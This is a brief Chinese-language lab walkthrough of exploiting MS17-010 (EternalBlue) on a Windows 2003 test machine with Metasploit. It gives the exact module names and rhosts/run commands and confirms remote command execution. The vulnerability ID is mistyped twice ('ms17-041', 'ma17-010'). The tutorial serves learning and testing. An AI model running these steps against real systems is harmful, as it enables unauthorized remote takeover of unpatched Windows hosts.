测试环境
攻击环境:kali
目标靶机:windows2003(192.168.1.8)
系统测试(测试漏洞ms17-041)
在kali中使用msfconsole
启动msf程序
search ms17-010
搜索可以使用的模块
使用
use auxiliary/admin/smb/ms17_010_command
进入该模块
使用set rhosts 192.168.1.8
设置目标IP
使用 run
进行检测,看到系统存在ma17-010漏洞
使用 use exploit/windows/smb/ms17_010_psexec
进入漏洞利用模块,run
运行
使用
ipconfig
查看信息,说明漏洞利用成功。
注:
不同的模块切换均需要设置rhosts 可使用 setg rhosts IP
设置全局的rhosts